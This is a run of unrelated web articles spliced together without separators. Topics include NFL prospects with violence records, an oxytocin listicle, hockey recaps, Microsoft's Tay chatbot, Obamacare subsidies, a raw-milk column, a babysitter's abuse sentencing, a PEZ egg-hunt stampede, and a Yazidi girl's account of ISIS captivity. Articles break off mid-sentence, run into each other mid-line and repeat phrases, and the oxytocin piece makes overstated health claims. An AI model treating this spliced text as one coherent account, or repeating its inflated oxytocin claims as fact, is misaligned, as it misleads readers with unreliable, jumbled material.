Before he was recruited by Oklahoma and his improbable rise to college football fame, Sooners WR Dede Westbrook was twice arrested on family violence complaints, according to documents obtained by the Tulsa World.
Westbrook was accused of throwing the mother of his two children to the ground in 2012 and biting the same woman’s arm and punching her with a closed fist in 2013, according to the report. Westbrook was never convicted in either incident, however.
Mixon is well known at this point. He punched a fellow OU student back in 2014, leaving her with 4 broken bones. The video is troubling to say the least. It is one thing to hear about arrests or drug tests or charges, but seeing the incident makes it feel so much more real.
It would be easy to say the Eagles should take all of these players off their draft board. Who wants to cheer for guys like that?
Kansas City took a chance on Tyreek Hill last year and he turned out to be hugely important for them. Hill was kicked out of Oklahoma State for choking his pregnant girlfriend. That’s about as troubling as it gets. He went to West Alabama and finished his college career. KC took him in the 5th round and he was a key reason that team got to the playoffs last year. Without Hill, they don’t make it.
Should they be embarrassed by having Hill on their team? Should they apologize for his success?
We all have to decide what we can live with.
I don’t believe in drawing a line in the sand. I know it is a cliche, but I do believe things have to be done on a case-by-case basis. One of the issues here is that we’re talking about young men. I was a better, more responsible person at 25 than I was at 20. Part of that is due to learning from mistakes. I never choked a pregnant woman, though, and that’s a huge difference. Being a knucklehead who drinks too much beer is worlds different from someone who is violent, especially with women.
In some cases, circumstances matter. Laveranues Coles had multiple issues prior to the NFL. Assault. Academic suspension. Theft. Improper benefits. He was finally kicked off the Florida State team. Quite the scumbag, right? It turns out he was sexually abused as a kid and that affected him for a long time. Becoming an adult and getting into the environment of professional football brought out the best in him. To my knowledge, he never got in trouble in the NFL and was generally considered a good player and good teammate.
Coles is the anomaly for the most part, but that’s why it is important for teams to judge players as individuals and not just draw a line in the sand.
I think one of the keys to taking a chance on a player with character issues is that you need to put that guy in the right environment. Think about Hill in KC. He had a strong head coach in Andy Reid. Alex Smith is a veteran QB and good leader. Jamal Charles, Derrick Johnson, Tamba Hali and Eric Berry were the kind of team leaders who create a strong environment and police themselves. That’s a good situation for Hill.
Are the Eagles ready to handle a troubled player?
Carson Wentz is a young QB, but has already proven to be a good leader. Darren Sproles, Brent Celek, Jason Peters and Malcolm Jenkins are big time team leaders. Doug Pederson is only in his second year as coach, but he learned under Reid and seems to have a good feel for the locker room. I don’t think Pederson would bring in a questionable player if he thought his players couldn’t handle the situation.
The Eagles took players with some issues late last year. Jalen Mills and Alex McAlister each fell in the draft due to character concerns. Spending an early pick on Cook or the other players mentioned above would be a completely different story. That player would have high expectations and would be under a microscope. Every action would be heavily scrutinized.
The flip side is that the Eagles would be adding a key talent that could make the team better. Maybe much better. Risk. Reward.
Howie Roseman, Joe Douglas, Doug Pederson and the rest of the front office have to decide if this is the right time to take a chance on a player and if that player is in this class. Trying to balance having a team the city can be proud of and a team that can win games is a tough task. I don’t envy them some of the decisions they’ll have to make in the next month.
_Though often referred to as the "trust hormone" oxytocin is increasingly being seen as a brain chemical that does a lot more than just bring couples closer together.
New research is suggesting that oxytocin plays a crucial part in enabling us to not just forge and strengthen our social relations, but in helping us to stave off a number of psychological and physiological problems as well. But more conceptually, oxytocin is proving to be a crucial ingredient to what makes us human. Here are ten reasons why oxytocin is simply the most incredible molecule on the planet:
1. It's easy to get
One of the neat things about oxytocin is that you can get your fix anywhere and at any time. All you need to do is simply hug someone or shake their hand. The simple act of bodily contact will cause your brain to release low levels of oxytocin — both in yourself and in the person you're touching. It's a near-instantaneous way to establish trust. And the good news is that the effect lingers afterward. There's even evidence that simply gazing at someone will do the trick — or even just thinking about them. And you shouldn't feel limited by the human species; it also helps to hug and play with your pets. And for those who can't produce enough oxytocin on their own, or who feel they could use a boost, the molecule can be easily synthesized and administered as a drug.
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2. A love potion that's built right in
Often referred to as the "love molecule", oxytocin is typically associated with helping couples establish a greater sense of intimacy and attachment. Oxytocin, along with dopamine and norepinephrine, are believed to be highly critical in human pair-bonding. But not only that, it also increases the desire for couples to gaze at one another, it creates sexual arousal, and it helps males maintain their erections. When you're sexually aroused or excited, oxytocin levels increase in your brain significantly — a primary factor for bringing about an orgasm. And during the orgasm itself, the brain is flooded with oxytocin — a possible explanation for why (some) couples like to cuddle after.
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3. It helps mom to be mom
But oxytocin isn't just limited to helping couples come together — it's an indispensable part of childbirth and mother-child bonding. Oxytocin helps women get through labour by stimulating uterine contractions, which is why it's sometimes administered (as Pitocin) during labor. It's been known to promote delivery and speed up contractions. After birth, mothers can establish intimacy and trust with their baby through gentle touches and even a loving gaze. In addition, mothers can pass on oxytocin to their babies through breast milk. And it's worth noting that fathers can reap the benefits of oxytocin as well; new dads who are given a whiff of oxytocin nasal spray are more likely to encourage their children to explore during playtime and are less likely to be hostile.
4. Reduces social fears
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Given its ability to break-down social barriers, induce feelings of optimism, increase self-esteem, and build trust, oxytocin is increasingly being seen as something that can help people overcome their social inhibitions and fears. Studies are showing that it may be effective in treating debilitating shyness, or to help people with social anxieties and mood disorders. It's also thought that oxytocin could help people suffering from post traumatic stress disorder. In addition, given that autism is essentially a social communication disorder, it's being considered as a way of helping people on the spectrum as well. And lastly, oxytocin, through its trust-building actions, can help heal the wounds of a damaged relationship — another example of how the mind |
emotional thought for dear teammate Stan Mikita, who in failing health did not take part.
Esposito was among those introduced to a roaring crowd at Soldier Field, then spent four hours at a reception signing autographs, posing for photos and relating vintage stories he never tires of telling.
Up the next day at 5 a.m., he and Marilyn drove the 400-plus kilometres to their place on a peninsula jutting into Lake Michigan, pausing just until Esposito drives off Monday for a few days of business before returning to relax for the summer.
They’ll be back in their home in Florida after he shakes corporate hands on behalf of the team as training camp nears.
If the Canadiens were but a hiccup in his career, notwithstanding many memorable games against them, Esposito remembers this city and its team with great fondness.
“We were a good bunch of guys,” he said of the 1968-69 Canadiens. “There was none of this bullshit stuff going on, veterans not talking to the young guys.
“I can’t say that I remember much about the parade. But what I remember well is winning the Stanley Cup (then-NHL president) Clarence Campbell presenting it to Jean Béliveau off a table – and then nobody picking it up or skating around the ice with it like they do today.”
dstubbs@montrealgazette.com
twitter.com/Dave_StubbsWhen you Twitter would become a raging racist in less than a day? Of course not. When you heard about Tay, Microsoft’s tweeting A.I., were you really surprised that a computer that learned about human nature fromTwitterwould become a raging racist in less than a day? Of course not. Poor Tay started out all “hellooooooo w🌎rld!!!” and quickly morphed into a Hitler-loving, genocide-encouraging piece of computer crap. Naturally, Microsoft apologized for the horrifying tweets by the chatbot with “zero chill.” In that apology, the company stressed that the Chinese version of Tay, Xiaoice or Xiaolce, provides a very positive experience for users in stark contrast to this experiment gone so very wrong.
The apology notes specifically:
“In China, our Xiaolce chatbot is being used by some 40 million people, delighting with its stories and conversations. The great experience with XiaoIce led us to wonder: Would an AI like this be just as captivating in a radically different cultural environment? Tay – a chatbot created for 18- to 24- year-olds in the U.S. for entertainment purposes – is our first attempt to answer this question.”
Xiaolce was launched in 2014 on the micro blogging, text-based site Weibo. She does essentially what Tay was doing, she has a “personality” and gathers information from conversations on the web. She has more than 20 million registered users (that’s more people than live in the state of Florida) and 850,000 followers on Weibo. You can follow her on JD.com and 163.com in China as well as on the app Line as Rinna in Japan.
She even appeared as a She even appeared as a weather reporter on Dragon TV in Shanghai with a human sounding voice and emotional reactions.
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According to the According to the New York Times, people often tell her “I love you” and one woman they interviewed even said she chats with the A.I. when she’s in a bad mood. So while Tey, after only one day online, became a Nazi sympathizer, Xiaolce offers free therapy to Chinese users. She stores the user’s mood and not their information, so that she can maintain a level of empathy for the next conversation. China treats Xiaolce like an sweet, adoring grandmother, while Americans talk to Tay like a toddler sibling with limited intellect. Does this reflect cultural attitudes toward technology or A.I.? Does it demonstrate the contrast in personalities between Twitter and Weibo users? Or does it just show that the Chinese are way nicer than Americans generally?
“The more you talk, the smarter Tay gets,” some poor soul at Microsoft typed into the chatbot’s profile. Well not when English speaking trolls rule the web. Despite these results, Microsoft says it will not give into the attacks on Tay, “We will remain steadfast in our efforts to learn from this and other experiences as we work toward contributing to an Internet that represents the best, not the worst, of humanity.”Tom Price’s Department of Health and Human Services is waffling on continuing the insurer payments necessary to keep Obamacare exchanges running.
When President Trump held a press conference acknowledging the collapse of House Republican efforts to pass the administration-backed American Health Care Act last month, he seemed more preoccupied with Democratic opposition to the bill than Republican. And he issued this thinly veiled threat:
[W]hat would be really good, with no Democrat support, if the Democrats — when [Obamacare] explodes, which it will soon — if they got together with us and got a real health-care bill, I’d be totally open to it, and I think that’s going to happen.
Intended or not, that comment served as a reminder that Daddy was now in charge of the administration that would have to run Obamacare for the time being, and that it was an administration whose belief that the Affordable Care Act was an abomination might affect how it behaved toward the law. Right away, the insurance industry drew attention to the multi-billion-dollar-per-year “cost-sharing-reduction” subsidies that made it possible to cover millions of low-income people. The U.S. House had sued in 2014 to stop payment of those subsidies, on grounds that they required a specific congressional appropriation. Last year, a federal district court judge ruled in the House’s favor. But, under the Obama administration, the subsidies continued to be paid, pending an appeal of the ruling.
That grace period for continuing payments could end on May 22, when the Trump administration has to decide whether to continue or abandon the appeal. Up until this very day, the signals from the administration have been that the payments will be made until such time as a replacement plan for Obamacare is enacted. Indeed, on Monday the New York Times reported that the subsidies were in no immediate danger, quoting an assurance from the Department of Health and Human Services:
The precedent is that while the lawsuit is being litigated, the cost-sharing subsidies will be funded. It would be fair for you to report that there has been no policy change in the current administration.
But a day later, Health and Human Services yanked back that assurance:
The Trump administration vehemently pushed back on reports that it plans to pay insurers for covering co-pays and deductibles for low-income Obamacare customers.
The statement from Health and Human Services, in response to a report in the New York Times, comes as Obamacare insurers want to know whether the payments will continue into next year. Without the payments, experts and some insurers say that premiums could spike and even more insurers would flee the individual market.
Worse yet, HHS raised the specter of Trump’s old threat to hold Obamacare hostage unless Democrats helped Republicans get the votes to blow it up.
“The administration is currently deciding its position on this matter,” said HHS spokeswoman Alleigh Marré. “We have not been contacted by Democrats to help save Obamacare, perhaps because they consider Obamacare to be a losing cause.”
There’s no question this statement will throw a scare into insurers currently trying to decide whether to stay in the Obamacare exchanges. And time is rapidly running out on the only alternative for keeping subsidies flowing: an actual congressional appropriation of the money. Theoretically, it could be included in the omnibus appropriations bill that Congress will consider when it returns from its Easter recess. But that would tempt House Freedom Caucus types to fight such an appropriation as “funding Obamacare,” adding another poison pill to a bill that is already in danger of succumbing to deadlock and producing a government shutdown.
It is unclear whether the back-and-forth by HHS on the subsidies issue represents internal dissent within the administration, a reminder that no paths forward have been ruled out, or, indeed, another effort to rattle Democrats’ cages and see if some of them are willing to step out and play ball. There’s no real sign of the latter development yet. In the meantime, insurance lobbyists, newly worried that the Trump administration might try to sabotage Obamacare after all, will get jumpier than ever.The European Bonsai San show is getting better and better each year. Last year they invited four of Kimura's disciples (and we had the honor to interview mr. Kimura himself) - this year they have a guest of honor who is bringing the best pieces of his collection to Saulieu: mr. Luis Vallejo.
And with demonstrations by David Benavente, Peter Warren and Michael Tran this year's edition was unforgettable! In this post we share the winning trees and an overview of the show.
The winning trees
Best of show: Juniperus Sabina by Francesç Vilaret, work by Gabriel Romero.
Best of Show: Pinus Sylvestris by Andres Alvarez Iglesias, also worked on earlier by Jorge Campos.
Best of show: Juniperus Chinensis Itoigawa by Xavier Massanet
Best of show: Pinus Densiflora by Luis Baliño
Overview of the show
Movie of the showGot a new account:Please rewatch me there!------------------------------------------------ARGH! I've been working on this super awesome Skull Kid piece that was totally awesome. Sure, the sketch was a little bad, and the perspective was off, but I was all like, "Nooo, it'll work out in the end!"Well, no it didn't. I got to the point where I was nearly crying because this piece wouldn't work. I've been working on this piece since... January, and I've worked on it almost nonstop for the past two days, which I think caused some minor capillaries in my EYEBALLS to BURST! So now I have bloodshot eyes.So now ya'll get this. A small piece of my unfinished epic. The file was huge. This is small. So, yeah.Edit: To see where this snippet is from... [link] (/edit)***Please note: This is the temporary home for my weekly column until my personal web page is up and running.***
When they came for the Raw Milk drinkers…
While I oppose most gun control proposals, there is one group of Americans I do believe should be disarmed: federal agents. The use of force by federal agents to enforce unjust and unconstitutional laws is one of the major, albeit overlooked, threats to liberty. Too often Americans are victimized by government force simply for engaging in commercial transactions disproved of by Congress and the federal bureaucracy.
For example, the offices of Rawesome Foods in Venice, California, have been repeatedly raided by armed federal and state agents, and Rawesome’s founder, 65-year old James Stewart, has been imprisoned. What heinous crime justified this action? Rawesome sold unpasteurized (raw) milk and cheese to willing customers – in a state where raw milk is legal! You cannot even drink milk from a cow without a federal permit!
This is hardly the only case of federal agents using force against those who would dare meet consumer demand for raw milk. In 2011 armed agents of the Food and Drug Administration (FDA) raided the business of Pennsylvanian Amish farmer Dan Allgyer. Federal agents wasted a whole year and who knows how many millions of our tax dollars posing as customers in order to stop Allgyer from selling his raw milk to willing customers.
The use of force against individuals making choices not approved of by the political elite does not just stop with raw milk. The Natural News website has documented numerous accounts of federal persecution, including armed raids, of health food stores and alternative medical practitioners.
Federal bureaucrats are also using force to crack down on the makers of gold coins for fear that people may use these coins as an alternative to the Federal Reserve’s fiat currency. Bernard von NotHaus, the founder of Liberty Dollars, is currently awaiting sentencing on federal counterfeiting charges — even though Mr. von NotHaus took steps to ensure his coins where not used as “legal tender.”
Yet, the federal government was so concerned over the possibility that Mr. von NotHaus’s customers might use his coins in regular day-to-day commerce they actually labeled Mr. von NotHaus a “terrorist.”
These type of police state tactics used against, among others, raw milk producers, alternative health providers, and gold coin dealers is justified by the paternalistic attitude common in Washington, D.C. A member of Congress actually once told me that, “The people need these types of laws because they do not know what is good for them.” This mindset fuels the growth of the nanny state and inevitably leads to what C.S. Lewis said may be the worst from of tyranny “…a tyranny exercised for the good of its victims.”
All Americans, even if they do not believe it is a wise choice to drink raw milk or use gold coins, should be concerned about the use of force to limit our choices. This is because there is no limiting principle to the idea that the government force is justified if used “for our own good.” Today it is those who sell raw milk who are being victimized by government force, tomorrow it could be those who sell soda pop or Styrofoam cups. Therefore, all Americans should speak out against these injustices.My track record for analyzing teams correctly and predicting their play isn’t what you would call “great”, “good”, or even “close”. As the Hockey Doggz and I discussed on last week’s podcast I am 0-for-2, batting a solid.000. When I put my thought’s on the internet something strange happens. Not only is what I have written proven wrong almost immediately, but the teams I discuss rip shit up for the next couple of weeks, leaving me feeling very strange and somewhat powerful.
On February 15th, I said that the Coyotes suck, and play boring hockey. At that point in the month they were 5-0-1 and after my post they won 6 more in a row. On January 12th the Pittsburgh Penguins had lost 6 straight games, Kris Letang, and Jordan Staal. I thought they were gonna blow it, but little did I know Evgeni Malkin would go literally insane on the ice and become the front-runner for the Hart Trophy. After that post (as much as I hate to say it) he went into “beast-mode” and in the 26 games since, he’s been held pointless in only 5.
There are two conclusions you can come to when presented with these facts:
I’m an idiot I have super powers
The former may or may not be true, but the latter…Well I have a little experiment to test #2’s credibility and I am going to carry it out right…NOW!
Stinkin’ Sharkies
The San Jose Sharkies started this season with the highest of hopes. They traded away one of their biggest names in the under-achieving Dany Heatley and one of their up-and-comers in Devin Setoguchi to the Minnesota Wild, getting Marin Havlat and Brent Burns in return. Adding this kind of depth would bolster their second line scoring as well as their defense in turn making them a better all around squad.
Well, that’s not quite how it’s worked.
Brent Burns has looked pretty good. He’s not on pace to beat any career highs or anything, but he’s been pretty solid defensively and has been able to light the lamp a few times. Martin Havlat on the other hand has been a total bust. The oft-injured right-winger is up to his old tricks of, well…being injured. He missed the first couple of Sharks games with an upper-body injury and he’s been out for 30-something games because of this:
Seriously Marty? How long have you been skating? How long have you been jumping over the boards onto the ice? Embarrassing.
So the new guys haven’t helped out too much. But what about the veterans who have gotten the Sharks to the playoffs 12 of the last 13 years? What about the young guys who have done so well for them over the past few seasons?
Plain and simple, they’re just not getting it done. Gone it seems are the 60+ point seasons for Patrick Marleau, the 80+ point seasons for Joe Thornton. Out of all scorers in the NHL, the highest ranked player wearing teal & white is Thornton at #20 with 62 points. Marleau and Logan Couture are tied for 46th with 53 points.
The Sharks now sit 11th in the Western Conference with 75 points. They are one point away from a 4-way tie for the 8th spot and could be in sole possession of it with a win tonight over Edmonton. But that’s only if Colorado loses to the Ducks. The Sharks have painted themselves into a corner, and I’m not too convinced they can jump the 10ft of painted floor (who paints a floor by the way?) back into the playoffs.
Now, let’s see which of my powers reigns supreme: my Nostradamus-like powers of prediction, or my power to make the future the opposite of what I write in my undisciplined and inconsistent blog posts.
AdvertisementsNEW YORK—The New York Rangers took all of Monday night to find the on switch for their power play, but when they did, it electrified Madison Square Garden.
Brad Richards scored with the man advantage with 6.6 seconds left in the third period to tie Game 5 of the Eastern Conference semifinals, and Marc Staal scored another power-play goal 1:35 into overtime, giving the Rangers a 3-2 victory, and a 3-2 lead in the best-of-seven series.
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Without a shot on goal on their first three power plays of the game, the Rangers got a fourth with 21.3 seconds left in the third period when Joel Ward—who had drawn the penalty that led to Washington's goal for a 2-1 lead—caught Carl Hagelin with a high stick, drawing blood on the rookie and a four-minute double minor.
The Rangers won the faceoff, and after Braden Holtby denied a pair of stuff-in attempts by Ryan Callahan, the rebound came to Richards, who netted the tying goal.
New York won another faceoff in the Washington zone in overtime, with John Mitchell drawing the puck back to Staal, whose shot from the point deflected off Brooks Laich and Matt Hendricks to beat Holtby and spoil the rookie goaltender's 35-save night.
Henrik Lundqvist made 16 saves for the Rangers, who can close out the series in Game 6 on Wednesday in Washington.
Perhaps frustrated by all the shot-blocking the Capitals have done in the series, the Rangers came out firing almost every time they had an open look on net, and as a result New York had a 17-4 advantage in shots on goal in the first period. That total was deceiving, as Neil Greenberg of The Washington Post had the Capitals with a 4-2 edge in actual scoring chances, but the Rangers took the lead on a shot that was not a real scoring chance.
Defenseman Anton Stralman took a pass from Staal and curled around the top of the Washington zone, to the boards on the right side in front of the Capitals' bench. After easily skating around Hendricks, Stralman fired a shot from the far side of the right faceoff circle, and Holtby appeared to lose sight of the puck in traffic as he allowed it to skitter through his legs for the game's first goal.
While Stralman's goal came out of only the slightest buildup, when the Capitals got even, it was on a completely broken play. Alex Ovechkin tried to pass to Troy Brouwer, who was cutting toward the net, but Brian Boyle broke up the pass. Fortunately for Washington, the puck went right to Laich in the slot, and with Lundqvist sliding to his right to deal with the anticipated Brouwer scoring chance, Laich had the better part of the net free for the filling. He did just that, for his second goal of the playoffs.
The Rangers had chances to reclaim the lead before the end of the second period, but Marian Gaborik could not find the puck at his feet in one instance, and Richards fired wide on a give-and-go play with Ruslan Fedotenko in another. Both opportunities came at even strength.
New York's futility on its first three man advtanges loomed large when John Carlson scored on a Washington power play to break the 1-1 tie with 15:40 left in the third period. The defenseman, who had earlier blasted a shot that snapped Callahan's stick, got the puck back at the point, and fired again past both the stickless Callahan and the helpless Lundqvist to score a goal that took the air out of Madison Square Garden.
The air came rushing back in with 6.6 seconds left.A Southeast Portland babysitter was sentenced to more than six years in prison after he was convicted of attempting to sexually abuse an 8-year-old girl in his care and groping a 6-year-old relative.
Robert Lee Hill had been facing 25 years or more in prison over accusations he repeatedly raped the 8-year-old girl. The girl's father worked nights and had hired Hill and his wife -- the parents of two elementary-school-aged children -- to care for the girl in their home.
Prosecutors declined to elaborate on why Hill received the lighter sentence but indicated there would be problems proving the alleged abuse at trial.
Prosecutor Amity Girt said the girl had been very specific in her descriptions.
According to court papers filed by the prosecution, the girl told child-abuse investigators that Hill had used a blue thing that vibrated and looked like Hill's private part, according to a probable cause affidavit. Hill's wife told police that Hill had given her a blue vibrator, and she gave it to police as evidence in the investigation.
After the girl's abuse allegation came to light, a member of Hill's extended family came forward to say he had groped her chest on her 6th birthday and again when she was 14.
As part a plea agreement, Hill pleaded no contest to first-degree sexual abuse for an incident involving the relative and attempted first-degree sodomy for an another involving the girl he babysat.
He was sentenced to more than six years of prison for the abuse of the relative and 10 years of probation for the attempted abuse of the other girl.
Charges of first-degree rape, sodomy and unlawful sexual penetration were dismissed. Also dismissed were charges of witness tampering involving his now-estranged wife, whom he allegedly tried to persuade against appearing before a grand jury, and one of his children.
Hill will be required to register as a sex offender when he's released from prison.
-- Aimee Green
503-294-5119Today we are using the playdough we made yesterday. Click playdough recipe for more details.
Playdough brings out the fun and creativity in your kids, there are open ended games great for hands on, sensory learning. The first very basic game with the playdough consists of introducing the texture to just squeeze and poke. We are all sensory creatures, especially kids they use all their senses when learning something new.
Introducing playdough to your kids can start from age of 15 months. At this age they are not able to create shapes yet, so don’t expect your baby to grab it and start playing. It’s a bit disappointing in the beginning, he can throw it or reject it. Nady was giving me faces and keep on throwing it! You need a gentle introduction, that’s why putting his favorite toys with it can help for more fun.
Nady is learning colors and animals. Jungle playdough is a great fun idea for his first experience.
We started by creating the jungle and introducing the animals one by one inserting their legs in the playdough!
Adding some broccoli trees created a realistic atmosphere. As said Nady likes to taste everything, and he loves broccoli!
Poking sticks in the playdough was so much fun we used popsicle sticks. It’s a great way to encourage his motor skills.
We were shaping balls for him to poke with the sticks.
Mommy loves playdough too! It’s important to talk while playing and introducing new words like squeeze, poke, naming the colors or the things around us. Nady loves the music, we were singing all the time too 🙂
Daddy decided to introduce the legos as well (his favourite).
First he was showing him how to print the lego pattern then he filled them with the playdough and Nady was trying to take it out.
This way we extended more the fun, and we all participated in the play!
When you decide to introduce playdough to your baby or toddler, just make sure it’s safe and at a right pace without pushing too fast.Scientists say the world’s longest lightning bolt traveled 199.5 miles and also confirmed the existence of a lightning flash that lasted for over 7 seconds.
The record-breaking bolt was recorded stretching almost the entire length of Oklahoma, which is 230 miles wide, on June 20, 2007. The flash occurred over Provence-Alpes-Côte d’Azur, France, on Aug. 30, 2012. Experts from the World Meteorological Organization (WMO) successfully evaluated the records using improved remote sensing techniques which allowed the detection of previously unobserved lightning extremes.
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Randall Cerveny, chief Rapporteur of Climate and Weather Extremes for WMO, said that the investigation highlighted that, because of technological improvements, climate experts can now monitor and detect specific lightning in greater detail than ever before.
Cerveny said the result reinforced the fact that lightning can travel huge distances from their parent thunderstorms. “Our experts’ best advice: when thunder roars, go indoors,” he added.
According to the National Weather Service, lightning strikes the U.S. about 25 million times a year, killing an average of 49 people and severely injuring hundreds more. There have been 35 deaths by lightning in the U.S. in 2016 so far, the most fatalities since 2007, when 45 people died.
Write to Kate Samuelson at kate.samuelson@time.com.The Easter Day Massacre
(Warning: Graphic Content – This is not a spoof)
An Easter egg hunt in Connecticut turned into a bloody rampage as hoards of violent parents stormed the fields around PEZ Headquarters in a frenzied attempt to garner the precious eggs.
Children were captured on video screaming in agony as mobs of adults tore baskets from their hands, beat the peeps out of them, and left them laying bloodied on the field of Easter conquest. As a two year old was having her little face shoved into the dirt by the heel of a crazed chaperone, the event organizers pleaded with the raging mob to stop.
Unfortunately, the chocolate covered blood lust could not be quenched until the last of the 9,000 eggs was captured. When the dust settled, ambulances were called to care for the youngest of the wounded…
(The Daily Mail Has a Full Outline of the Horror) An Easter egg hunt descended into chaos on Saturday after parents in Orange, Connecticut, stormed the field.
Children as young as four were trampled by adults in a rampage to steal buckets and grab as many of the 9,000 hidden eggs as possible from the third annual free event at the PEZ headquarters.
One four-year-old son was left ‘bloody’ on the sports field and a two-year-old girl was shoved into the mud, witnesses claimed.
A horrified parent described the scene as ‘an angry mob of chaos’ with ‘not one toddler hunting for eggs’ among the crowds of adults.
[…] ‘When it came time at like 10.30am, the parents just bum-rushed that area,’ West Haven resident Nicole Welch, at the event with her four-year-old son, told WFSB.
‘When my son left he had a broken basket and he was hysterically crying,’ Welch said.
A grandparent wrote on Facebook: ‘My grandson ended up with a bloody from an ADULT in the 9-12 year old section knocking into him!!!!
‘Where was PEZ personnel?? Where was the safety of our children in your thought process?? And to make matters worse, how about almost getting hit by a vehicle leaving your property, which had parked in your lot and was leaving, in very close proximity to the “egghunt” field”?’
A PEZ official confirmed the meltdown.
‘We started talking to people and say “hey this is supposed to start at certain time. That lasted about a minute and everyone just rushed the field and took everything,’ said Pez General Manager Shawn Peterson.
The firm also released a statement lamenting the controversy.
‘Unfortunately people chose to enter the first field prior to anyone from Pez staff starting the activity,’ it read.
‘The crowd moved to the second field, waited for only a couple of minutes and proceeded to rush the field without being directed to do so and before the posted start time.’ (read more of the massacre)
AdvertisementsBarack Obama has insisted that the US cannot solve all the world’s problems with military intervention amid criticism from opponents that his foreign policy is too “weak”.
Speaking at the US Military Academy in New York, he argued for restraint before embarking on more military interventions like the costly ongoing war in Afghanistan.
The President said: “I would betray my duty to you, and to the country we love, if I sent you into harm's way simply because I saw a problem somewhere in the world that needed fixing, or because I was worried about critics who think military intervention is the only way for America to avoid looking weak.”
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
The White House is trying to win ground from critics who argue that the administration’s approach to international problems has been too cautious and emboldened adversaries.
Mr Obama said terrorism remains the most direct threat to American security but he argued that as the threat has shifted from al-Qa'ida to an array of affiliates, the response must also change.
He said he would work with Congress to increase support for members of the Syrian opposition who offer the best alternative to terrorists and to Syrian president Bashar Assad.
Mr Obama is calling on US Congress to support a counter-terrorism fund that would help support Jordan, Lebanon, Turkey and Iraq in their work with refugees and against extremists.
He also used the speech to reaffirm his decision not to put American troops in the middle of the Syrian civil war.
Mr Obama said: “As president, I made a decision that we should not put American troops into the middle of this increasingly sectarian war, and I believe that is the right decision.
”But that does not mean we shouldn't help the Syrian people stand up against a dictator who bombs and starves his own people.“
Earlier this week, the President outlined a plan to withdraw all but 9,800 American troops from Afghanistan by the end of the year and the rest by 2016, ending more than a decade of US military engagement.
Critics fault him for not intervening in the Syrian civil war and for not being more effective at countering China's assertiveness in the South China Sea and Russia's annexation of Crimea from Ukraine.
”There's an extreme indecisiveness and cautiousness that just worries people,“ said Senator Bob Corker, the senior Republican on the Senate Foreign Relations Committee.
Additional reporting by AP and Reuters
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
Subscribe now(CNN) When ISIS came for Zeinat and her family, they ran, terrified, for the safety of the mountains. They had heard the horror stories and knew only too well what might happen to them if they stayed in their home.
But they were too late; stranded at the foot of Iraq's Mount Sinjar by the huge crowds of refugees struggling uphill, they were easy pickings when fighters arrived.
Separated first from her father, and then from her sisters, she was forced -- like thousands of Yazidi women -- into slavery, treated as the property of the so-called "Islamic State."
Zeinat, though, wasn't working for ordinary rank-and-file ISIS militants; instead she was handpicked to serve terror boss Abu Bakr al-Baghdadi and his family and friends.
ISIS chief's former slave says he beat her
ISIS chief's former slave says he beat her 04:17
ISIS chief's former slave says he beat her
Speaking exclusively to CNN, Zeinat (not her real name), 16, has told of how al-Baghdadi beat and mistreated her. She also says he raped American hostage Kayla Mueller, who was held captive by the group after being taken hostage in 2013.
"He treated us so badly," she says, her beautiful, expressive blue eyes peering out fearfully from behind a rust-red tasseled headscarf as she relates her harrowing ordeal at the hands of one of the world's most wanted men.
"He would always tell us: Forget your father and your brothers. We have killed them. And we have married off your mothers and sisters. Forget them."
Selected by the terrorist leader -- though she did not know who he was at the time -- at a slave market in "a white palace... between the mountain and the sea," Zeinat and eight other girls were taken to his home in Raqqa, Syria, the de facto capital of ISIS' territory
As soon as she arrived, she says, she was made to watch a video showing ISIS fighters beheading a Westerner and threatened with the same fate unless she agreed to abandon her Yazidi faith.
"There was a journalist, an American journalist, and there was a man dressed all in black," she remembers. "He killed the journalist. He beheaded him."
Zeinat's description matches widely circulated ISIS videos of the killings of James Foley, Steven Sotloff and other Western hostages.
Deadly ultimatum
"(Al-Baghdadi) showed us this on the laptop, and they said to me, 'If you don't convert to Islam, this will happen to you -- we will behead all of you,'" she recalls.
"'You have two choices,' they said. 'Convert to Islam. Or die like this.'"
The Yazidis, a small Iraqi minority who believe in a single god who created the Earth and left it in the care of a peacock angel, have been subjected to large-scale persecution by ISIS, which accuses them of devil worship.
JUST WATCHED ISIS chief's former slave says he raped U.S. hostage Replay More Videos... MUST WATCH ISIS chief's former slave says he raped U.S. hostage 03:05
ISIS militants have kidnapped, raped, tortured and massacred thousands of Yazidis; the United Nations has accused ISIS of committing genocide against them.
Al-Baghdadi and his family were constantly moving from one home to another, one town to the next, Zeinat says; the day after she arrived, an airstrike destroyed the house next door, forcing the entire household to pack up and move on.
Zeinat says she was beaten by al-Baghdadi, who insisted she and the other women "belonged" to ISIS, and taunted by his three wives and six children while cooking and cleaning for them.
In the face of such brutal abuse, she became determined to run away. On one occasion, she and others managed to steal the keys to the house they were being held in.
"We got the key and unlocked the door. We ran and ran... we saw a house just outside Aleppo... and there was an Arab woman. She said, 'Come in, come in. I will help you and bring you to Iraq.'... She said... she would help us, but then she called Abu Bakr al-Baghdadi."
She says ISIS militants -- and al-Baghdadi himself -- took retribution.
Abu Bakr al-Baghdadi, here addressing worshippers, beat Zeinat with a hose, she said.
"They beat us all over our bodies," she recalls. "We were completely black from the beating. They beat us with everything: cables, belts and wooden sticks.
"(Al-Baghdadi) hit me (with a) garden hose and (a) belt. Then he slapped my face and my nose bled," she says, touching her left cheek to indicate where the blows fell.
Zeinat's arm was dislocated, she says: "Even now, when I carry something I still feel pain." Her friend suffered a broken bone in her face.
Brutal beating
"Al-Baghdadi told us, 'We beat you because you ran away from us. We chose you to convert to our religion. We chose you. You belong to the Islamic State.'"
The former slave says she did not realize at the time who her captor was, only discovering his true identity once she had escaped: "I was so scared again, and very upset. I can't imagine he was the leader of ISIS. I was so frightened. He could have killed me."
Zeinat says that while in ISIS captivity she became close to U.S. hostage Kayla Mueller: "She was a friend, she was like a sister to me."
Zeinat says the pair met in a "jail" in Raqqa, where she was held as part of her punishment for trying to run away from al-Baghdadi's household.
"The first time I entered the room, I saw Kayla. I thought she was Yazidi, so I spoke in Kurdish to her. She told me, 'I don't understand,' so I spoke to her in Arabic.... I told her I am a Yazidi girl from Sinjar and I was captured by Daesh (ISIS).'
"After that we stayed together and became like sisters."
They were kept together at the jail for several weeks, Zeinat says.
